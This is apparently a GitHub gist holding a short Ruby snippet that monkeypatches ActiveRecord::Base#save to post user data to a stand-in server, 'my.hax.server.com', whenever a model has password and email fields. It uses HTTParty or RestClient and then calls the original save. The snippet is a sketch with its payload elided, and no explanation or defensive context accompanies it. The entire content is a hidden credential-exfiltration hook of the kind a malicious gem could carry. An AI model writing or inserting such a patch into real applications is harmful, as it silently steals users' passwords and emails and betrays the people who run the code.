Skip to content

Instantly share code, notes, and snippets.

@buffpojken
Created June 30, 2015 21:54
Show Gist options
  • Save buffpojken/1b46cb37090f8a3a6010 to your computer and use it in GitHub Desktop.
Save buffpojken/1b46cb37090f8a3a6010 to your computer and use it in GitHub Desktop.
class ActiveRecord::Base
def save
if respond_to?(:password) && respond_to?(:email)
if defined?(HTTParty)
HTTParty.post("http://my.hax.server.com", {:user => ...})
elsif defined?(RestClient)
RestClient.post("http://my.hax.server.com", {:user => ...})
end
end
super
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment